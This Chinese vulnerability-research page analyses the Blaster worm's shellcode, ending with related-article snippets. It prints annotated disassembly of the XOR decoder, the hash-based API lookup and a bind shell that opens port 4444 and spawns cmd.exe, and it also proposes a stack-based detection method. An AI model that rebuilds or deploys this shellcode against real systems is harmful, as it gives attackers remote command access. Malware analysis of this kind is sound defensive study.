“冲击波”病毒的shellcode源代码_漏洞研究

2年前“冲击波”病毒爆发时,我曾经对它的SHELLCODE进行过分析,现在把我当时写的分析献出来,  

让大家看看“一代名毒”是怎样的。一般来说,shellcode都是这样写的,因此只要hook shellcode必须调用的api,判断esp和eip  

的差值如果在0x1000以内(也就是说代码在堆栈里运行),那么基本上可以确认系统受到缓冲区溢出攻击,该进程必须马上退出。  

当然,有些更厉害的shellcode采用直接调用native api,raw socket收发包等技术,hook api监视缓冲区溢出攻击的方法就不灵了,  

要考虑其他方法,但这样写shellcode,它的体积必然很大,而且各个系统很难通用,也有它的缺陷。  

;在exploit中由于不能有0和5C字符存在,所以写代码时要注意,因为很多代码都是有0的,比如  

;mov ecx,8的机器码是b9 08 00 00 00有3个0,所以必须改为xor ecx,ecx/mov cl,8或push 8/pop ecx或xor ecx,ecx--sub ecx,-8  

:00401000 90               nop  

:00401001 90               nop  

:00401002 90               nop  

:00401003 EB19             jmp 0040101E  

:00401005 5E               pop esi ;esi=00401023,从00401023地址开始的代码将要被还原,实际上esi指向的地址在堆栈中是不固定的  

:00401006 31C9             xor ecx, ecx  

:00401008 81E989FFFFFF         sub ecx, FFFFFF89==-77         ;ecx=77h  

:0040100E 813680BF3294         xor dword ptr [esi], 9432BF80 ;还原从00401023开始被加密的代码  

:00401014 81EEFCFFFFFF         sub esi, FFFFFFFC         ;add esi,4  

:0040101A E2F2             loop 0040100E  

:0040101C EB05             jmp 00401023 ;还原已经完成,跳到被还原的代码处执行  

:0040101E E8E2FFFFFF         call 00401005 ;这条指令相当于push 00401023,jmp 00401005两条指令的集合  

;此处开始的代码已经被还原:  

:00401023 83EC34             sub esp, 00000034  

:00401026 8BF4             mov esi, esp     ;esi-->变量表  

:00401028 E847010000         call 00401174 ;eax=77e40000h=hkernel32  

:0040102D 8906             mov dword ptr [esi], eax  

:0040102F FF36             push dword ptr [esi] ;=77e40000h  

:00401031 688E4E0EEC         push EC0E4E8E ;LoadLibraryA字符串的自定义编码  

:00401036 E861010000         call 0040119C  

:0040103B 894608             mov dword ptr [esi+08], eax ;=77e605d8h  

:0040103E FF36             push dword ptr [esi] ;=77e40000h  

:00401040 68ADD905CE         push CE05D9AD ;WaitForSingleObject字符串的自定义编码  

:00401045 E852010000         call 0040119C  

:0040104A 89460C             mov dword ptr [esi+0C], eax ;=77e59d5bh  

:0040104D 686C6C0000         push 00006C6C  

:00401052 6833322E64         push 642E3233  

:00401057 687773325F         push 5F327377 ;"ws2_32.dll"  

:0040105C 54               push esp     ;esp-->"ws2_32.dll"  

:0040105D FF5608             call LoadLibraryA -->ws2_32.dll  

:00401060 894604             mov dword ptr [esi+04], eax ;=71a20000h(ws2_32.dll 在内存里的地址)  

:00401063 FF36             push dword ptr [esi] ;=77e40000h  

:00401065 6872FEB316         push 16B3FE72 ;CreateProcessA字符串的自定义编码  

:0040106A E82D010000         call 0040119C  

:0040106F 894610             mov dword ptr [esi+10], eax  

:00401072 FF36             push dword ptr [esi] ;=77e40000h  

:00401074 687ED8E273         push 73E2D87E ;ExitProcess字符串的自定义编码  

:00401079 E81E010000         call 0040119C  

:0040107E 894614             mov dword ptr [esi+14], eax  

:00401081 FF7604             push [esi+04] ;=71a20000h  

:00401084 68CBEDFC3B         push 3BFCEDCB ;WSAStartup字符串的自定义编码  

:00401089 E80E010000         call 0040119C  

:0040108E 894618             mov dword ptr [esi+18], eax  

:00401091 FF7604             push [esi+04] ;=71a20000h  

:00401094 68D909F5AD         push ADF509D9 ;WSASocketA字符串的自定义编码  

:00401099 E8FE000000         call 0040119C  

:0040109E 89461C             mov dword ptr [esi+1C], eax  

:004010A1 FF7604             push [esi+04] ;=71a20000h  

:004010A4 68A41A70C7         push C7701AA4 ;bind字符串的自定义编码  

:004010A9 E8EE000000         call 0040119C  

:004010AE 894620             mov dword ptr [esi+20], eax  

:004010B1 FF7604             push [esi+04] ;=71a20000h  

:004010B4 68A4AD2EE9         push E92EADA4 ;listen字符串的自定义编码  

:004010B9 E8DE000000         call 0040119C  

:004010BE 894624             mov dword ptr [esi+24], eax  

:004010C1 FF7604             push [esi+04] ;=71a20000h  

:004010C4 68E5498649         push 498649E5 ;accept字符串的自定义编码  

:004010C9 E8CE000000         call 0040119C  

:004010CE 894628             mov dword ptr [esi+28], eax  

:004010D1 FF7604             push [esi+04] ;=71a20000h  

:004010D4 68E779C679         push 79C679E7 ;closesocket字符串的自定义编码  

:004010D9 E8BE000000         call 0040119C  

:004010DE 89462C             mov dword ptr [esi+2C], eax  

:004010E1 33FF             xor edi, edi  

:004010E3 81EC90010000         sub esp, 00000190 ;在堆栈里分配临时空间0x190字节  

:004010E9 54               push esp  

:004010EA 6801010000         push 00000101 ;wsock 1.1  

:004010EF FF5618             call WSAStartup ;启动WINSOCK 1.1库  

:004010F2 50               push eax =0  

:004010F3 50               push eax =0  

:004010F4 50               push eax =0  

:004010F5 50               push eax =0  

:004010F6 40               inc eax =1  

:004010F7 50               push eax =1  

:004010F8 40               inc eax =2  

:004010F9 50               push eax =2   ;esp-->2,1,0,0,0,0  

:004010FA FF561C             call WSASocketA ;建立用于监听的TCP SOCKET  

:004010FD 8BD8             mov ebx, eax =010ch  

:004010FF 57               push edi =0  

:00401100 57               push edi =0  

:00401101 680200115C         push 5C110002 ;port=4444 ;sockaddr_in结构没有填好,少了4字节  

:00401106 8BCC             mov ecx, esp ;ecx-->0200115c0000000000000000  

:00401108 6A16             push 00000016h ;这个参数应该是10h  

:0040110A 51               push ecx ;ecx-->0200115c000000000000000  

:0040110B 53               push ebx ;hsocket  

:0040110C FF5620             call bind   ;绑定4444端口  

:0040110F 57               push edi =0  

:00401110 53               push ebx ;hsocket  

:00401111 FF5624             call listen ;4444端口开始进入监听状态  

:00401114 57               push edi =0  

:00401115 51               push ecx =0a2340 ;这个参数好象有问题,可以是0  

:00401116 53               push ebx ;hsocket  

:00401117 FF5628             call accept ;接受攻击主机的连接,开始接收对方传来的DOS命令  

:0040111A 8BD0             mov edx, eax =324h, handle of socket to translate  

:0040111C 6865786500         push 00657865  

:00401121 68636D642E         push 2E646D63 ;"cmd.exe"  

:00401126 896630             mov dword ptr [esi+30], esp -->"cmd.exe"  

PROCESS_INFORMATION STRUCT  

hProcess     DWORD     ?  

hThread     DWORD     ?  

dwProcessId   DWORD     ?  

dwThreadId   DWORD     ?  

PROCESS_INFORMATION ENDS  

STARTUPINFO STRUCT  

00 cb           DWORD     ? ;44h  

04 lpReserved     DWORD     ?  

08 lpDesktop       DWORD     ?  

0c lpTitle       DWORD     ?  

10 dwX           DWORD     ?  

14 dwY           DWORD     ?  

18 dwXSize       DWORD     ?  

1c dwYSize       DWORD     ?  

20 dwXCountChars   DWORD     ?  

24 dwYCountChars   DWORD     ?  

28 dwFillAttribute   DWORD     ?  

2c dwFlags       DWORD     ? ;100h, set STARTF_USESTDHANDLES flags  

时间: 2025-01-21 13:46:46

“冲击波”病毒的shellcode源代码_漏洞研究的相关文章

backdoor病毒珍藏绝密源代码_漏洞研究

--=\\backdoor.c\\=-- /*   A rip off a sockets tutorial i found somewhere cause I didn't feel like   writing stupid basic sockets code when I had it in my src directory   already.   */   /* Greets:   Undernet Channels:   #rootworm, #hacktech, #hyperli

linux的病毒发展史及分类_漏洞研究

1996年的Staog是Linux系统下的第一个病毒,它出自澳大利亚一个叫VLAD的组织(Windows 95下的第一个病毒程序Boza也系该组织所为).Staog病毒是用汇编语言编写,专门感染二进制文件,并通过三种方式去尝试得到root权限. Staog病毒并不会对系统有什么实质性的损坏.它应该算是一个演示版.它向世人揭示了Linux可能被病毒感染的潜在危险.Linux系统上第二个被发现的病毒是Bliss病毒,它是一个不小心被释放出来的实验性病毒.与其它病毒不同的是,Bliss本身带有免疫程序

Pclxav木马猎手第一代特征码引擎源代码_漏洞研究

发布原因,主要是因为国内某安全软件长期存在的引擎问题.希望本文可以让其做实质性更新. 安全软件,要给用户,使用者以安全,而不是麻烦 .具体引擎问题表现,是扫描文件,创建一拷贝,再扫描这个拷贝的文件. 即使象AVP这种杀壳专家,见到壳也不会通通脱掉.也有很大的可能直接在壳中提取病毒 定义. 源代码如下,有部分删节,因本文并不是让所有的人都来写扫描器,且此引擎亦不再使用 .  const  cBuf_Size = 65536; var fintbuffer:pbytearray;  procedur

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

JSP中的源代码泄漏问题_漏洞研究

摘要:在JSP技术得到广泛应用的同时,由于源代码泄漏而引起的JSP安全性也受到了广泛的关注.本文分析了几种造成源代码泄漏的因素,并针对每种因素提出了各自的解决方法.  关键词:JSP  源代码 泄漏   引言  JSP编程语言自从推出之日起,由于它的快速.平台无关.可扩展.面向对象等特性得到了越来越广泛的应用,越来越多的厂家开发出了各种各样的支持平台如IBM 公司的WebSphere.BEA公司的WebLogic等等,也有越来越多的网站开始将自己的平台架构在JSP 环境中.    但是随之而来的

JSP脚本漏洞面面观_漏洞研究

  服务器漏洞是安全问题的起源,黑客对网站的攻击也大多是从查找对方的漏洞开始的.所以只有了解自身的漏洞,网站管理人员才能采取相应的对策,阻止外来的攻击.下面介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞.    Apache泄露重写的任意文件漏洞是怎么回事?    在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径.如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件.   

再探九酷网络个人主页空间管理系统_漏洞研究

本文作者:玄猫[B.C.T]  本文原发表于<黑客X档案>2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)  本文版权归<黑客X档案>和作者杂志社所有   --------------------------------------------------------------------------------  玄猫在2004年12

ARP病毒入侵原理和解决方案_漏洞研究

解决ARP攻击的方法       [故障原因]   局域网内有人使用ARP欺骗的木马程序(比如:传奇盗号的软件,某些传奇外挂中也被恶意加载了此程序).   [故障原理]   要了解故障原理,我们先来了解一下ARP协议.   在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的.ARP协议对网络安全具有重要的意义.通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞.   ARP协议是"Address Resolution Protoc

卡巴斯基(AVP)内存驻留型病毒检测方法_漏洞研究

author:killer  <killer②uid0.net>     卡巴斯基反病毒软件(Kaspersky Antivirus),以前叫AntiViral Toolkit Pro(AVP),出于习惯和简单,这里一律称为AVP或KAV.     学习AVP的检测办法的意义一方面在于AVP的检测方法是经过理论验证和实践考验的科学合理的方法,另外DOS年代过来的朋友对于反病毒有过这样的经验:"机子感染病毒了?好,请用干净无毒的系统盘启动,然后全盘查杀.",我记得CIH横行那